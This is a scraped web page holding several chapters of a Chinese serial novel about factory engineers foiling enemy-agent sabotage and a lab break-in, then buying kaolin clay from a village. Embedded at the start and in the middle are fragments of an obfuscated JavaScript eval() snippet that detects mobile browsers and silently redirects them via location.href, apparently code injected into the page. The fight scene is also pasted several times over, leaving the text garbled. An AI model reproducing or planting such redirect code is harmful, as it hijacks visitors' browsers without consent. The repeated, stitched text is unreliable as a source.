RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853287|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜海棠惊讶的抬头。 他们在一起工作这些天,郑明远很少提及自己家里人。 “您叔叔……” “他牺牲了,这份记录,一直在我堂妹的手里。”陆良辰简短地说,手指轻轻抚过纸页上的字迹,“我叔叔说,抗美援朝战争,战士们穿着单薄的棉衣在零下四十度的雪地里作战……他要研究出最好的保暖布料……” 郑明远说的时候,声音微微有些哽咽。 姜海棠没有开口说话,这种时候,所有的安慰都是苍白无力的。 好在,郑明远自己调整得也很快,片刻之后,已经趋于平静。 “第十八页,他提到用一种叫‘白泥’的矿物粉末做添加剂。” 姜海棠赶紧翻到那一页,果然发现一段关于某种白色黏土能同时增强布料防水性和防火性的记载。 “这种‘白泥’……” “应该就是高岭土。”郑明远已经恢复了平静,“我已经委托我的同事们去查了,看看哪里有这种矿。” 姜海棠突然想起什么,从抽屉里翻出一封信。 “桑榆县清水沟后山就有这种白泥!我记得以前村里人用 它补锅,火烧不坏,水泡不烂!” 两人对视一眼,都看到了对方眼中的兴奋。 郑明远也没想到,得来全不费工夫。 “我立即向陆厂长汇报,明天就回清水沟取样!”姜海棠迫不及待地说。 “不行。” 陆良辰正好走进实验室听到姜海棠这一句话,立即摇头制止。 “良辰,清水沟而已,我能应付。” “这件事,我交给其他人去办,你回去清水沟,太危险了。” 当初,清水沟之行,让陆良辰对清水沟这个贫瘠的地方没有好印象,加上李胜利的关系,陆良辰从心里排斥这个地方。 “可是,我熟悉,我去取样,是最快的方法!”姜海棠依然很坚持。 “让赵凯安排几个人去,他手底下的人,很多当过侦察兵,也熟悉农村情况。”陆良辰还是不同意姜海棠冒险。 姜海棠还想争辩,外面传来急促的脚步声。 是厂办的小**事,他急匆匆地闯进来,脸色凝重。 “怎么了?”陆良辰问。 “陆厂长,机械厂那边刚打过来电话,出事了。”小**事沉声道,“刚下线的五十台织袜机,全部被人为破坏了关键部件。” 姜海棠倒吸一口冷气。“是故意的?” “能破坏关键部件,应该是很专业的人,应该不是普通破坏。”陆良辰眼神锐利,虽然是猜测,却说得十分笃定。 姜海棠也想到了这个可能,虽然小**事没说是什么关键部位,但想来织袜机上的关键部位就是送纱系统,如果真是这里出问题,那就是蓄意破坏,外行根本找不到那个位置。 两人对视一眼,同时想到一个可能:敌特分子还在活动,而且就隐藏在机械厂内部! 他们之前的行动,肃清了纺织厂的潜在危险,却忘了,机械厂同样可能出问题。 第200章 实验数据交出来 “我去机械厂看看。”陆良辰立即转身就要走,走之前还没忘记转头叮嘱姜海棠:“你留在厂里,哪儿都别去。” “良辰,我肯定要去,没有人比我还熟悉织袜机!” 陆良辰沉默了,姜海棠说的是事实,织袜机,姜海棠最熟悉,或许,也只有姜海棠才能找到补救的办法。 姜海棠攥紧了手中的实验记录本,一把抓过背包,将实验记录本装在包里,说:“我和你一起去!” 陆良辰语气坚决地反对:“不行。机械厂现在情况不明,太危险。你等我先去看看情况,如果情况没有想象中的危险,我让小吴来接你。” 他顿了顿,压低声音,“而且,实验室需要有人守着,还要辛苦你们几个人。” 姜海棠明白他的意思——既然敌特已经开始行动,他们辛苦研发的军用布料配方很可能成为下一个目标。 “让保卫科加派双岗,必要的话,可以让老郑亲自守着实验室,我肯定要去机械厂走一遭。” 姜海棠沉吟片刻之后,最终还是觉得,自己要走出实验室,或许只有自己走出实验室,才能让背后的人认为有机会了。 “良辰,我和郑明远同志,还有黎景程同志,把重要的资料分开保存,这样才能最大程度确保安全。” 最终,陆良辰还是同意了见海棠的建议。 “我先去准备一下,二十分钟之后,小吴过来接你。” 姜海棠望着他的背影消失在走廊尽头,转身对郑明远说:“郑工,黎景程,咱们立即拆分资料,要确保得到任何一份资料,都不能还原内容。” 郑明远和黎景程二人会意,立即着手整理实验数据。 三个人将核心配方拆分成三部分,分别藏在不同的地方。 “姜工,”黎景程突然压低声音,“我总觉得这事不简单,明面上看起来,确实是机械厂出问题了,可我们都知道,机械厂的这一批织袜机是要给纺织厂的。” “他们想一箭双雕。”郑明远正好听到了二人的话,镜片后的眼睛闪着锐利的光,“破坏纺织厂的生产能力,同时窃取军用技术。而机械厂,不过是踏板。” 窗外,暮色渐沉。 姜海棠望着天边最后一抹晚霞,心中升起不祥的预感。 小吴开着车,在最后一抹夕阳落下的时候,来到了实验室门口。 机械厂。 车间灯火通明,陆良辰和姜海棠匆匆进去,**厂长正在大发雷霆。 而机械厂的几个技术员正在检查 被破坏的织袜机。 “您看,”向文涛指着送纱系统的齿轮组,“每个受损部位都一样,都是用特殊工具精准破坏的。不是内行根本找不到这个位置。” 姜海棠蹲下身,仔细观察齿轮上的划痕:“是专业钳工干的。” 向文涛擦着额头上的汗,“这批机器昨晚才完成最后调试,今早发现被破坏时,车间门锁完好无损。” 向文涛虽然是专注于技术研究的人,可也不是什么都不懂的人,这会儿也没忍住开始猜测。 姜海棠立即追问:“值班人员呢?” “老李头说半夜听到动静,起来查看时什么都没发现。”**厂长气呼呼地说:“我怀疑他睡迷糊了。” **厂长这会子心里后悔的不得了,早知道就不安排一个老头子值班了,安排几个精兵强将多好。 姜海棠站起身,目光扫过车间的每一个角落:“能不能让值班人员过来,我有些问题想问问他。” **厂长自是没有不答应的,他立即让人找了老李头过来。 六十多岁的老李头也没想到,就是值班,怎么就出现这种情况? 老人哆哆嗦嗦的回忆:“我昨天晚上确实听见声音……像是老鼠啃东西,起来拿手电一照,又啥都没有……” 这种丧心病狂破坏生产的事,到底是谁干的啊,他老头子要咒他以后生了孩子没**! “您确定是老鼠?”陆良辰突然问。 机械厂的生产车间里都是钢铁疙瘩,老鼠啃什么? 老李头一愣:“这……声音很像,但好像更规律些……” 老头子拼命地回忆着,希望能回忆起有用的线索,弥补过错。 姜海棠与陆良辰交换了一个眼神,**厂长的脸上也有意思诧异。 几个人到**厂长的办公室,陆良辰压低声音:“**厂长,合理怀疑,是摩尔斯电码!有人在用敲击声传递信息!” **厂长一脸严肃地点头:“我怀疑一敌特在摸底。他老子的,竟然到老子地盘上来撒野了。” 陆良辰面色阴沉,“织袜机只是开始,他们的真正目标很可能是我们厂正在研究的新技术。” 虽然纺织厂在研究军用布料的消息是保密的,但**厂长也是经营多年的人,怎么可能不知道这个消息? 因此,在陆良辰话说出来之后,**厂长已经意识到了,在机械厂动手,不过是迫不得已,真正的目的,应该还是纺织厂。 他不由用怜悯的眼光看看陆良辰,这小伙子也真够倒霉的,从到了纺织 厂,就总遇到各种各样的问题。 “需要我给你们支援人力吗?”**厂长想了想,问。 陆良辰摇摇头:“不用了,我们目前的人还够用,等回头不够用了,我一定找你借人。” **厂长没有勉强,事到如今,他厂里的这些人是不是可信,他心里都没把握,就别说陆良辰了。 最近这段时间,他也需要加大力度对厂里这些人进行一次排查。 姜海棠则在想,要怎么抓紧时间将这些被损坏的机器进行维修。 她没猜错的话,这些机器在这么关键的时候被损坏,就是为了打发人去纺织厂进行维修。 如此,倒是可以将计就计。 同时,实验室那边也做好抓贼的准备,这样才能双保险。 姜海棠将自己的想法说了,几个人立即开始研究。 纺织厂。 夜深了,姜海棠仍在实验室整理数据。 周小梅劝她回去休息,她却摇摇头:“小梅,我快完成了,麻烦你再检查一遍防火措施,我总觉得有些不放心!” 周小梅并不知道发生了事,因此还笑着揶揄一句:“之前都好好的,怎么忽然担心有人放火了?” 实验室的窗户都被暗钉钉上了,周围还专门安排了保卫科的人不间断地守着。 但姜海棠还是不放心,她总觉得有什么被忽略了。 “有备无患,我总觉得不能安心!” “姜工,您太紧张了。”周小梅递来一杯热茶,“咱们这说是铜墙铁壁都不为过,苍蝇都飞不进来。” 姜海棠勉强笑了笑,正要说话,突然听到屋顶传来轻微的“咯吱”声。 “什么声音?”她警觉地抬头。 周小梅不以为意:“风吹的吧?” 姜海棠放下茶杯,轻手轻脚地走到墙角,拿起一根铁管。 自从上次遭遇了李胜利的**之后,姜海棠就在实验室和家里分别准备了趁手的武器,都是铁棍。 这段时间,陆良辰也专门给她设计了一套铁棍揍人的技巧。 “小梅,可能有人来了,你找个地方躲起来,别发出声音。”她压低声音叮嘱周小梅。 周小梅脸色煞白,立即找了一个柜子,小心翼翼地藏在柜子背后。 就在周小梅刚才藏好的时候,屋顶突然传来“哗啦”一声巨响! 紧接着瓦片碎裂,一个黑影从天而降! 周小梅拼命捂住嘴巴,才没有叫出声。 而姜海棠此时已经抓住机会 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里 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**在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 第201章 将计就计 实验台被踹翻,玻璃器皿碎了一地。 姜海棠急退时踩到滚落的试管,整个人向后仰去。 男人饿虎扑食般压来,她本能地使出陆良辰教的“兔子蹬鹰,双脚狠狠踹向对方腹部。 “呃!疤脸男被踹得撞上药柜,十几个玻璃瓶劈头盖脸砸下来。 姜海棠趁机爬起,铁管横扫对方膝盖。 那男人狰狞一笑,突然从腰间抽出枪! 姜海棠这一刻有些心慌,怎么会有枪? 黑洞洞的枪口对准姜海棠眉心的瞬间,柜子后突然飞出一个烧瓶,精准砸在疤脸男后脑。 “砰的一声,玻璃碴混着酒精溅开。 “海棠姐快跑!周小梅尖叫着又扔出第二个烧瓶。 男人暴怒转身,姜海棠抓住这电光火石的间隙,铁管带着风声砸向他**的手。 “咔嚓的骨裂声中,**滑出数米远。 “**!男人用完好的左手亮出一把**,刀尖直刺姜海棠心窝。 姜海棠仓促侧身,锋刃划破了左臂,温热的血立刻浸透衣袖。 剧痛反而让姜海棠更加清醒。 她想起陆良辰曾经说过,当敌人突刺时,不要后退,要迎着刀锋斜跨半步…… 她没有验证过这样做对不对,但现在,不容她迟疑。 **再次刺来的刹那,她突然向前突进,铁管自下而上猛击对方下巴。 疤脸男显然没料到这招,“咚的一声闷响,整个人后仰着撞碎了窗户。 玻璃碎裂声中,外面传来急促的脚步声。 那男人抹了把嘴角的血,阴狠地瞪了姜海棠一眼,翻身就想从玻璃破了的窗口钻出窗外。 “站住! 姜海棠冲到窗边,拼命抓住了男人的脚踝。 男人用左手朝着姜海棠的脑门子砸下来。 关键时候,周小梅捡起地上的枪,对着男人开了一枪,枪口冒着青烟。 也不知道是周小梅会用枪,还是无意间撞上了,总之,男人的左肩膀被**打中。 剧痛之下,已经快要爬出窗户的男人掉回地上。 周小梅拿枪指着男人,小心翼翼地朝着姜海棠走过去。 “海棠姐你流血了! “小梅,你别分心,他如果有动作,直接击毙。 虽然不知道周小梅为什么会用枪,但姜海棠相信周小梅能做得很好。 周小梅双手微微颤抖。 她不敢说,她其实不会用 枪。 好在那已经受伤的男人半躺在地上因为姜海棠的话和周小梅手里黑漆漆的枪口不敢动作。 他以为周小梅是会用枪的。 姜海棠看到男人没有其他动作才发现自己的手抖得厉害铁管“当啷”掉在地上。 她望着满地狼藉的实验室双腿一软坐倒在地刚才这一场打斗竟比对抗李胜利还要凶险百倍。 这时候实验室的门被猛地踹开陆良辰带着保卫科的人冲了进来! 因为对方已经丧失战斗力 陆良辰看到姜海棠胳膊上的血迹忙上前询问情况。 “海棠你受伤了?” “被刀划伤了不严重。”姜海棠忍着疼说。 陆良辰却心疼得不得了立即就要送姜海棠去医院。 “先把实验室这边收拾一下也不知对方这一次没有得手会不会还有下一次。” “这些有我们海棠街你还是让陆厂长送你去医院吧!” 姜海棠只能跟着陆良辰去了医院。 包扎好之后陆良辰一脸心疼的说道:“最近你总受伤都是我没有保护好你。” 姜海棠笑了握住他的手说:“怎么就能怪你了这些人是冲配方来的。” “还是我的问题我明明知道会有危险还是让你受了伤。” “真正应该怪的是那些人不是你的错好在我们提前转移了资料厂里没有损失。” 审讯室里那个男人始终一言不发。 赵凯带着人一直守着他却始终未能问出有效信息。 最后怕他失血过多死亡赵凯不得不找医生来给他包扎。 陆良辰安顿好姜海棠之后也到了保卫科的审讯室。 “他说什么?”陆良辰问。 “什么都不肯说。”赵凯摇头。 “既然什么都不肯说移交给国安部门吧。” 赵凯不明白为什么陆良辰都不做努力就要把人移交给国安。 但他还是答应下来。 陆良辰没有在保卫科继续待而是回到了病房里将这边的情况对姜海棠说了。 “现在怎么办?”姜海棠问。 陆良辰沉思片刻:“将计就计。既然他们想要我们就给一个。” 三天后一份实验数据通过特殊渠道流入了敌特手中。 纺织厂风声鹤唳传言有重要数据资料失窃但一直都没有得到纺织厂的正 面答复。 但越是遮遮掩掩的,大家讨论得越厉害。 安保部门全力展开调查,但敌特分子的踪迹却如同泥牛入海,毫无头绪。 姜海棠的伤口已经愈合得差不多了,只是偶尔会隐隐作痛。 她不想继续留在医院,坚持出院回家修养。 得知现在进一步研发布料的关键在于高岭土,姜海棠决定亲自前往。 陆良辰在办公室里来回踱步,手里的搪瓷缸子被他捏得咯吱作响。 清水沟的那些人,对海棠有恶意,他不愿意让海棠冒险。 这大半年时间,海棠为了厂里付出的太多了。 但架不住姜海棠自己坚持,他最终还是决定安排保卫科经验最丰富的老周带队,再加上两个年轻力壮的小伙子小陈和小张,一同护送姜海棠。 至于司机,小吴之前去过清水沟,虽然对那里颇有微词,但至少熟悉路况,便还是让他来担任。 清晨五点,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老周瞪了小吴一眼:“不要嘟嘟囔囔了,只要他们好好的,咱们肯定不能主动冲突。” 小吴这才闭嘴。 老周又说:“小陈,你跟着姜工一起去,我们在远处盯着。” 看到老周一副如临大敌的样子,姜海棠觉得有些好笑,但她也知道,老周这是真心为了自己的安全考虑。 姜海棠没有拒绝老周的安排,和小陈两个人一起朝着蔡婶子家走去。 姜海棠打算通过蔡婶子一家和村子里协商。 蔡婶子的男人也是赵家人,能说得上话,而且,蔡婶子和她的关系历来不错。 远远地,就看见蔡婶子正在猪圈前忙活,她佝偻着背,手里拿着木勺,正给两头肥猪喂食。 姜海棠快步走上前,喊道:“蔡婶子!” 第202章 商议 蔡婶子猛地抬起头,看到亭亭玉立的姜海棠,眼睛用力地眨巴了好几下,然后苦笑,怀疑自己肯定出现幻觉了。 “这……这不是在做梦吧?咋还能看到海棠这闺女呢?” “不认识我了?蔡婶子。”姜海棠笑容满面地说。 蔡婶子听清楚了姜海棠的声音,手里的木勺差点掉在地上。 她揉了揉眼睛,不敢相信地说:“真的是你回来了?海棠。” 姜海棠笑着小跑过去,握住蔡婶子粗糙的手:“婶子,是我!您看看,这不是真真切切的嘛!” 蔡婶子上下打量着眼前的姑娘,眼眶渐渐湿润。 “哎哟我的老天爷,这才多久没见,咱们家海棠都成城里的大姑娘了!这衣服,这样貌,和以前完全不一样了!” 蔡婶子欣喜得眼中含泪,忙撩起衣襟擦眼泪。 姜海棠握住蔡婶子的手说道:“就是稍微白了点,其他也就这样,是您心疼我,才觉得我好看。” “可不一样,比你以前在咱们大队的时候好看多了,穿得也好看了。”蔡婶子是真心实意地夸奖姜海棠。 “您再这么夸,我都不好意思了。” “海棠啊,你大老远地来,饿了吧?我给你做饭去,正好家里老母鸡下了鸡蛋,婶子给你煮碗荷包蛋!”说着蔡婶子就拉扯着姜海棠往家里走。 姜海棠忙拉住她:“婶子别忙,我们路上吃过了。” “那先去家里坐坐,我们娘俩好好唠唠。”蔡婶子很是热情,一回头,正好看到了旁边的年轻小伙子小陈。 “海棠,这是你对象?” 姜海棠忙摇头,顺手从小陈手里拿过装着东西的篮子。 “不是,蔡婶子,这是我同事,今天陪着我一起过来的。这是给您带的一点心意。” 蔡婶子连连摆手拒绝:“海棠,你来看看婶子,婶子就很快心了,可不能再送东西。” “婶子,好些时候没见您了,这是一点红糖和白糖,还有一些瑕疵布料,专门给您带的,也不是什么好东西。您对我的好,我记着呢。” “那不都已经让大柱给我捎东西回来了?”蔡婶子立即说。 姜海棠握住蔡婶子的手真诚地说道:“婶子,那时候我在村里,要不是您经常接济,我哪能撑过来?这些东西您一定要收下。” “那都是应该的,都是邻居,有困难还能不帮一把?海棠啊,你一个女娃在城里生活不容易,这些东西你带回去好好过日子就行。” “蔡婶子您就收下吧,我这次来,是有事想请您帮忙。您要是不收下,我都不好意思开口了。”姜海棠只能如此说。 蔡婶子这才收下礼物,嘴里念叨着:“大柱最近正愁没件体面的衣服去相亲,这块布料来得正好。海棠,有什么事儿你尽管说,只要婶子能办到的,绝不含糊!” 姜海棠把需要采集特殊土壤的事详细说了一遍。 蔡婶子一拍大腿:“我当是啥大事呢!后山那片红土坡,除了荒草啥都不长,要多少有多少!” 正说着,赵大山从屋里走了出来,看到姜海棠,愣在了原地。 蔡婶子看到自家男人和自己一样,乐了。 “当家的,没认出来吧?” 这个憨厚的庄稼汉搓着手直笑:“看着有点儿像海棠那闺女。” 蔡婶子乐呵呵地说:“可不就是海棠回来了,当家的,咱们的海棠出息了,从城里回来看咱们了!” 赵大山挠了挠头,憨厚地笑了:“真是海棠啊!差点没认出来!” 当听说后山的土能换钱时,他瞪大了眼睛:“真的还是假的,我咋觉得这么玄乎呢?就咱们后山那些土?” 那一片山上的土特殊,除了荒草什么都不长,现在忽然有人说,那些土要换钱,咋想都不太可能啊。 姜海棠认真地解释:“大山叔,是真的。我们厂里做实验需要这种土壤,如果能和村里合作,按重量付钱,既能解决我们的难题,也能给村里增加收入。” 赵大山还是有些不敢相信:“可……可那些土啥都种不出来,真有人要?” 蔡婶子推了推丈夫:“你这人,海棠还能骗咱们?这可是大好事!咱们赶紧去找大队长商量商量!” 赵大山搓了搓粗糙的手掌,转头对蔡婶子说:“大柱他娘,你去把堂屋收拾收拾,我去请大队长来家坐坐。” 蔡婶子忙不迭地点头:“对对,我这就去烧水泡茶。海棠啊,你先坐着歇会儿。” 说着蔡婶子风风火火地往灶间去了。 姜海棠看着这对淳朴的夫妻,心里暖融融的。 小陈说:“姜工,我瞧着,这里的人还行啊。” 为啥小吴司机说,这里的人坏得不得了呢? “是还行!”姜海棠浅笑。 这里有坏人,但大部分人都是好的,要不,早些年,她根本活不下来。 赵大山戴上草帽正要出门,又折返回来从柜子里取出一个布包:“差点忘了,这是上回弄的茶叶,一直没舍得喝,大柱娘,你给海棠泡上。” “知道了,当家的,你赶紧去,别墨迹。” 不到二十分钟,院外就传来爽朗的说话声。 赵志坚大队长穿着洗得发白的蓝布衫,手里拿着旱烟袋大步流星地走进来。 “海棠啊,你回来了?”赵志坚一进门就热情地伸出手,“听大山说你给咱们大队带来好消息了?” 姜海棠连忙起身相迎:”赵队长,我这次回来是有事想和村里商量。” 赵志坚在八仙桌旁坐下,接过蔡婶子递来的大碗:“听大山说,你们厂里要买后山的土?” “是的,大队长。” 赵志坚不敢相信地盯着姜海棠问:“你说的是咱们后山那片除了荒草啥都不长的那些‘鬼见愁’?” 姜海棠这才想起来,那一片地方,老辈人说,野草都不好好长,就是鬼见愁。 “就是那些土,如果我们自己挖,一吨可以给大队一块钱,要是大队里负责采集,可以以每吨五元的价格收购,如果大队里负责采集运输,一吨土还可以再增加一块钱。” 赵志坚手里的茶碗端不住了,他颤抖着放下,死死盯着姜海棠,似乎要看看,姜海棠是不是说错了。 “你说错了,还是我听错了,海棠。” “大队长,您没听错,我也没说错,我们初步计划要十吨。后续如果还有需要,继续采购。” 赵志坚心里盘算,先要十吨,那就是五十块钱了,要是用自家的牛车送过去,就是六十块钱了,后续还要,那就更多看了。 那片坡地少说能挖出几百吨啊!天降横财了! 蔡婶子正在给众人续茶,听到这话差点摔了茶壶:“老天爷,那不长草的土这么值钱?” 姜海棠点点头:“不过,我们也是有要求的,必须保证土壤纯净度,不能掺杂其他杂质,如果掺了其他杂质,我们就不收了。” 赵志坚的旱烟袋在桌沿轻轻磕了磕:“这事得开社员大会。不过……”他突然压低声音,“海棠啊,你实话告诉叔,这土真这么值钱?别是你们厂里吃亏……” 他担心,这是不是姜海棠故意帮他们清水沟的人才搞出来的。 姜海棠心头一热:“大队长,大家挖土不容易,要是你们不挖,我们还要安排人来挖土,不划算。” 赵志坚摸着下巴盘算:“那叔就谢谢你了,要是没有你,这好事也轮不到我们大队。这事儿要是真能成,咱村今年就能通电了!” 正说着,门外传来叽叽喳喳的声音。 几个小脑袋从门缝里探进来,都是听说姜海棠回来跑来看热闹的村里孩子。 蔡婶子笑着招手:“都进来吧!海棠姐姐带糖来了!” 姜海棠想起来随身的包里还装着一些水果糖,她连忙打开随身带的布包,把糖分给孩子们。 一个小女孩怯生生地问:“城里是不是有会自己跑的铁牛?” “那叫拖拉机。”姜海棠蹲下身给她整理衣领,“等咱们清水沟大队有钱了,也能买。” 赵志坚看着这一幕,立即起身:“我这就去敲钟开大会!这么好的事,今晚就定下来!” 傍晚的打谷场上,全村老少都聚集在一起。 今晚的月亮很圆很亮,是以,整个打谷场上都亮亮堂堂的。 姜海棠站在月光下,详细讲解了合作方案。 村民们议论纷纷,有个老爷子颤巍巍地举手:“海棠丫头,挖了土会不会影响咱村的风水?” 姜海棠早有准备:“您老放心,我们只取鬼见愁,剩下的土不动,说不定,把这层鬼见愁挖了,以后这一片还能种庄家呢。” 赵志坚接过话头:“那‘鬼见愁’附近本来就不长庄稼,现在能变废为宝,给咱们大队换点钱是祖宗保佑!” 投票时,全队一百三十七户人家,一百三十六票赞成。唯一没举手的是耳背的刘奶奶,老太太耳聋好些年了,虽然来参会了,但压根没听清讨论啥。 等她看到大家都举手的时候,才要举手,已经统计结束了。 散会后,赵志坚拉着姜海棠的手说:“明天我就利用农闲时间组织青壮劳力开工!你放心,咱们清水沟人做事最实在!” 月光下,姜海棠望着村民们欢天喜地回家的身影,心里满是感动。 小陈走过来轻声说:“姜工,咱们也该回招待所了。” 蔡婶子听了,忙拉住姜海棠说:“海棠,你就别回招待所了,怪远的,今晚和婶子睡一屋,咱们好好唠唠。” 姜海棠为难地说:“婶子,我们好几个人呢。” 蔡婶子说:“让你叔和大柱两个去别人家住,你那几个同事住一屋,我们家炕大,能住下。” 姜海棠想着明天一早还要来,便和老周商量。 老周也同意,招待所镇上没有,得去县里,实在有些远。 第203章 贴心话 姜海棠见老周同意,脸上绽放出笑容,眉眼弯弯,浅浅地笑着对蔡婶子说道:“那今晚就麻烦婶子了。” 姜海棠的声音清脆悦耳,蔡婶子能听出来和当初在李家时候的疲惫不堪不一样。 